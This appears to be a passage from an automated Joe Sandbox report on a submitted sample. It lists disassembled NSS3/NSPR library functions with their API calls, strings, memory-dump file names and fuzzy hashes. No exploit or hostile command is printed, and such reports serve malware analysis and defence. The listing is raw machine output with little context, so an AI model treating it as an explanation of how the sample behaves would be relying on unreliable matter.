strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF67DD8
malloc.MOZGLUE(00000080), ref: 6CF67DF8
PR_GetCurrentThread.NSS3 ref: 6CF67E06

Strings

NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6CF67DF0
:%s:%d:0x%lx, xrefs: 6CF67DB9

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: 00fff0480bd5c40af09c3d6dba6e76842af3b30f6d18debf3d54a3cd780b9210
Instruction ID: 3c13bc4a2b796cdb86f1067231e2882a276450ccb8c84d43dbd6aa165aa2976f
Opcode Fuzzy Hash: 00fff0480bd5c40af09c3d6dba6e76842af3b30f6d18debf3d54a3cd780b9210
Instruction Fuzzy Hash: A441D9B16002019FDB08CF2ADC80A6B37B6FF84318B25496DE8199BF51DB31ED41CB91

Function 6CF67E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF67E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6CF67E46

Part of subcall function 6CE41240: TlsGetValue.KERNEL32(00000040,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41267
Part of subcall function 6CE41240: EnterCriticalSection.KERNEL32(?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE4127C
Part of subcall function 6CE41240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE41291
Part of subcall function 6CE41240: PR_Unlock.NSS3(?,?,?,?,6CE4116C,NSPR_LOG_MODULES), ref: 6CE412A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6CF67EAF
PR_ImportFile.NSS3(?), ref: 6CF67ECF
PR_GetCurrentThread.NSS3 ref: 6CF67ED6
PR_ImportTCPSocket.NSS3(?), ref: 6CF67F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6CF67F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6CF67F15

Strings

%d:0x%lx, xrefs: 6CF67EA9
NSPR_INHERIT_FDS, xrefs: 6CF67E41

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 580016b3fd155050ab479285fd2a214616c9a75f1ecefb88061c2f6460d43187
Instruction ID: f22b76dc777e97e11c721295aa6c3403214493c17f5be7a4e695870f98e6c8ce
Opcode Fuzzy Hash: 580016b3fd155050ab479285fd2a214616c9a75f1ecefb88061c2f6460d43187
Instruction Fuzzy Hash: 3C312172E081199BEB009BABC840AEBB7B9EF15348F204967D81597E12F7619D08C7D2

Function 6CE74E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE74E90
EnterCriticalSection.KERNEL32 ref: 6CE74EA9
TlsGetValue.KERNEL32 ref: 6CE74EC6
EnterCriticalSection.KERNEL32 ref: 6CE74EDF
PL_HashTableLookup.NSS3 ref: 6CE74EF8
PR_Unlock.NSS3 ref: 6CE74F05
PR_Now.NSS3 ref: 6CE74F13
PR_Unlock.NSS3 ref: 6CE74F3A

Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407AD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407CD
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDD204A), ref: 6CE407D6
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDD204A), ref: 6CE407E4
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,6CDD204A), ref: 6CE40864
Part of subcall function 6CE407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE40880
Part of subcall function 6CE407A0: TlsSetValue.KERNEL32(00000000,?,?,6CDD204A), ref: 6CE408CB
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408D7
Part of subcall function 6CE407A0: TlsGetValue.KERNEL32(?,?,6CDD204A), ref: 6CE408FB

Strings

bUl, xrefs: 6CE74E5C
bUl, xrefs: 6CE74F3F

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUl$bUl
API String ID: 326028414-3943757760
Opcode ID: 7fb21b96f584deceb56597d12d589f12f1f176e7cc784e4e8b18041f3f7f9810
Instruction ID: 22de6a19da47c7324c94aae0f8267befc672e03f94c435b61ee8d057683ac38a
Opcode Fuzzy Hash: 7fb21b96f584deceb56597d12d589f12f1f176e7cc784e4e8b18041f3f7f9810
Instruction Fuzzy Hash: 924159B4A00605DFCB00EF68D0849AAFBF0FF49354B118669EC599B710EB30E855CFA1

Function 6CE9ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CE9DE64), ref: 6CE9ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE9ED22

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

PL_FreeArenaPool.NSS3(?), ref: 6CE9ED4A
PL_FinishArenaPool.NSS3(?), ref: 6CE9ED6B
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE9ED38

Part of subcall function 6CDD4C70: TlsGetValue.KERNEL32(?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4C97
Part of subcall function 6CDD4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CB0
Part of subcall function 6CDD4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDD3921,6CFB14E4,6CF1CC70), ref: 6CDD4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CE9ED52
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE9ED83
PL_FreeArenaPool.NSS3(?), ref: 6CE9ED95
PL_FinishArenaPool.NSS3(?), ref: 6CE9ED9D

Part of subcall function 6CEB64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CEB127C,00000000,00000000,00000000), ref: 6CEB650E

Strings

security, xrefs: 6CE9ED06

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 523bfcbd06a925010379965e46f65e904107155a45925a790a7c0a0444167f77
Instruction ID: c70013094ba751515a9827023ed2055999a580acd5a5714edc6e9dae65fb410d
Opcode Fuzzy Hash: 523bfcbd06a925010379965e46f65e904107155a45925a790a7c0a0444167f77
Instruction Fuzzy Hash: 9F116A75D00A046BE6145775AC84BBFB27CBF0260CF250928E94473F60FB36A50D86E6

Function 6CE82CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CE82CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CE82D07

Part of subcall function 6CF609D0: PR_Now.NSS3 ref: 6CF60A22
Part of subcall function 6CF609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF60A35
Part of subcall function 6CF609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF60A66
Part of subcall function 6CF609D0: PR_GetCurrentThread.NSS3 ref: 6CF60A70
Part of subcall function 6CF609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF60A9D
Part of subcall function 6CF609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF60AC8
Part of subcall function 6CF609D0: PR_vsmprintf.NSS3(?,?), ref: 6CF60AE8
Part of subcall function 6CF609D0: EnterCriticalSection.KERNEL32(?), ref: 6CF60B19
Part of subcall function 6CF609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF60B48
Part of subcall function 6CF609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF60C76
Part of subcall function 6CF609D0: PR_LogFlush.NSS3 ref: 6CF60C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CE82D22

Part of subcall function 6CF609D0: OutputDebugStringA.KERNEL32(?), ref: 6CF60B88
Part of subcall function 6CF609D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF60C5D
Part of subcall function 6CF609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CF60C8D
Part of subcall function 6CF609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF60C9C
Part of subcall function 6CF609D0: OutputDebugStringA.KERNEL32(?), ref: 6CF60CD1
Part of subcall function 6CF609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF60CEC
Part of subcall function 6CF609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF60CFB
Part of subcall function 6CF609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF60D16
Part of subcall function 6CF609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CF60D26
Part of subcall function 6CF609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF60D35
Part of subcall function 6CF609D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CF60D65
Part of subcall function 6CF609D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CF60D70
Part of subcall function 6CF609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF60D90
Part of subcall function 6CF609D0: free.MOZGLUE(00000000), ref: 6CF60D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CE82D3B

Part of subcall function 6CF609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF60BAB
Part of subcall function 6CF609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF60BBA
Part of subcall function 6CF609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF60D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CE82D54

Part of subcall function 6CF609D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF60BCB
Part of subcall function 6CF609D0: EnterCriticalSection.KERNEL32(?), ref: 6CF60BDE
Part of subcall function 6CF609D0: OutputDebugStringA.KERNEL32(?), ref: 6CF60C16

Strings

ulPinLen = %d, xrefs: 6CE82D36
C_InitToken, xrefs: 6CE82CE7
pLabel = 0x%p, xrefs: 6CE82D4F
slotID = 0x%x, xrefs: 6CE82D02
pPin = 0x%p, xrefs: 6CE82D1D

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 2703d4b6a31a0729510ec74823d035c231ad2240f1004816ddac29a5b9e2737d
Instruction ID: 0d6232121fbc8ef759f1063d409a72096fe86c80f86959b66f833f8b5cdd63f6
Opcode Fuzzy Hash: 2703d4b6a31a0729510ec74823d035c231ad2240f1004816ddac29a5b9e2737d
Instruction Fuzzy Hash: 5521F875A12144AFDB409F54DECCB453FB2EB4231DF248525E90C97BA2CB728809CB65

Function 6CF60EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CE42357), ref: 6CF60EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CE42357), ref: 6CF60EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF60EE6

Part of subcall function 6CF609D0: PR_Now.NSS3 ref: 6CF60A22
Part of subcall function 6CF609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF60A35
Part of subcall function 6CF609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF60A66
Part of subcall function 6CF609D0: PR_GetCurrentThread.NSS3 ref: 6CF60A70
Part of subcall function 6CF609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF60A9D
Part of subcall function 6CF609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF60AC8
Part of subcall function 6CF609D0: PR_vsmprintf.NSS3(?,?), ref: 6CF60AE8
Part of subcall function 6CF609D0: EnterCriticalSection.KERNEL32(?), ref: 6CF60B19
Part of subcall function 6CF609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF60B48
Part of subcall function 6CF609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF60C76
Part of subcall function 6CF609D0: PR_LogFlush.NSS3 ref: 6CF60C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF60EFA

Part of subcall function 6CE4AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE4AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF60F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CF60ED9, 6CF60EE5, 6CF60F06, 6CF60F0B
Aborting, xrefs: 6CF60EB3

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 6bd6f4cfc4dafac21927d48083f532fe28d92771f34f778b3b104f1e075904fe
Instruction ID: bd2091f897c6ddf4cd4d7eb0e780207c87fb9174c21ba1d468400f0f8c2c92e8
Opcode Fuzzy Hash: 6bd6f4cfc4dafac21927d48083f532fe28d92771f34f778b3b104f1e075904fe
Instruction Fuzzy Hash: EEF0AFBAD00114BBEF403BA1EC4AE9F3E3DDF82664F004024FD1956B02DA77E91496B2

Function 6CEC4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CEC4DCB

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CEC4DE1

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CEC4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEC4E59

Part of subcall function 6CEAFAB0: free.MOZGLUE(?,-00000001,?,?,6CE4F673,00000000,00000000), ref: 6CEAFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF8300C,00000000), ref: 6CEC4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CEC4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CEC4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEC521A

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 8987c5bcc441f95794b95b8c6b77de82b94867c49b68ed266a8900cba84cd60e
Instruction ID: b9ea17a6e72f81544e0957152f5df2bfccf6312c43c2593942baf2a713afd8c5
Opcode Fuzzy Hash: 8987c5bcc441f95794b95b8c6b77de82b94867c49b68ed266a8900cba84cd60e
Instruction Fuzzy Hash: D9F19B71F012098FDB08CF54D9407AEB7B2BF45318F35412AE825AB781E775E982CB92

Function 6CE54FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CFA0148,?,6CE66FEC), ref: 6CE5502A
PR_NewLock.NSS3(00000001,00000000,6CFA0148,?,6CE66FEC), ref: 6CE55034
PL_NewHashTable.NSS3(00000000,6CEAFE80,6CEAFD30,6CEFC350,00000000,00000000,00000001,00000000,6CFA0148,?,6CE66FEC), ref: 6CE55055
PL_NewHashTable.NSS3(00000000,6CEAFE80,6CEAFD30,6CEFC350,00000000,00000000,?,00000001,00000000,6CFA0148,?,6CE66FEC), ref: 6CE5506D

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 6b414493978ee6750b14f151d34f0c9099f11bb8327ab0cbb843a80b1ac50bea
Instruction ID: 1afc2588bc696fe86eb998c0e06001f612b8f88dfa0c11027cf6637e29ccb581
Opcode Fuzzy Hash: 6b414493978ee6750b14f151d34f0c9099f11bb8327ab0cbb843a80b1ac50bea
Instruction Fuzzy Hash: 4D3114B2F122109BEF508B65888CB5B3BBCDB1335CF624125EA0997740D3779415CBE4

Function 6CDF2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CDF2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CDF2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CDF3005
memcpy.VCRUNTIME140(?,?,?), ref: 6CDF30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CDF3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDF3178

Strings

%s at line %d of [%.10s], xrefs: 6CDF3171
database corruption, xrefs: 6CDF316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDF3022, 6CDF3156, 6CDF3162, 6CDF318A, 6CDF3196, 6CDF31A2, 6CDF31AE, 6CDF31BA, 6CDF31C6

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: df8792d94a3f90cd5f3c0ac91fef2964b32bab0d8c093d7b758a2f102401137d
Instruction ID: 3639911991be88d7c84e6c6dba81242bb565ff98124006af39317725dd7b014e
Opcode Fuzzy Hash: df8792d94a3f90cd5f3c0ac91fef2964b32bab0d8c093d7b758a2f102401137d
Instruction Fuzzy Hash: 1CB1B1B0E05219DBDB08CF9DC884AFEB7B1BF48304F16402AE865B7B51D7759942CBA1

Function 6CEC7F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CEC7FB2

Part of subcall function 6CE4BA40: TlsGetValue.KERNEL32 ref: 6CE4BA51
Part of subcall function 6CE4BA40: TlsGetValue.KERNEL32 ref: 6CE4BA6B
Part of subcall function 6CE4BA40: EnterCriticalSection.KERNEL32 ref: 6CE4BA83
Part of subcall function 6CE4BA40: TlsGetValue.KERNEL32 ref: 6CE4BAA1
Part of subcall function 6CE4BA40: _PR_MD_UNLOCK.NSS3 ref: 6CE4BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CEC7FD4

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
